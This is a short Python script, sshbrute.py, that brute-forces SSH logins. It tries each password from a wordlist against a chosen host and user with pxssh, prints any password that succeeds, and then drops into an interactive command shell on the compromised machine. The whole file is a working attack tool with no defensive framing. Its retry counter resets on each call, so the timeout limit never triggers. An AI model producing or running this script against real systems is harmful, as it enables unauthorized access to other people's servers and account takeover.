sshbrute.py

import pxssh
import argparse
import time

def connect(host, user, password):
    Fails = 0

    try:
        s = pxssh.pxssh()
        s.login(host, user, password)
        print('Password Found: ' + password)
        return s
    except Exception as e:
        if Fails > 5:
            print('!!! Too Many Socket Timeouts!')
            exit(0)
        elif 'read_nonblocking' in str(e):
            Fails += 1
            time.sleep(5)
            return connect(host, user, password)
        elif 'synchronize with original prompt' in str(e):
            time.sleep(1)
            return connect(host, user, password)
        return None

def Main():
    parser = argparse.ArgumentParser()
    parser.add_argument('host', help='Specify Target Host')
    parser.add_argument('user', help='Specify Target User')
    parser.add_argument('file', help='Specify Password File')
    args = parser.parse_args()

    if args.host and args.user and args.file:
        with open(args.file, 'r') as infile:
            for line in infile:
                password = line.strip('\r\n')
                print('Testing: ' + str(password))
                con = connect(args.host, args.user, password)
                if con:
                    print ('[SSH Connect, Issue Commands (q or Q) to quit]')
                    command = raw_input('>')
                    while command != 'q' and command != 'Q':
                        con.sendline(command)
                        con.prompt()
                        print (con.before)
                        command = raw_input('>')
    else:
        print (parser.usage)
        exit(0)

if __name__ == '__main__':
    Main()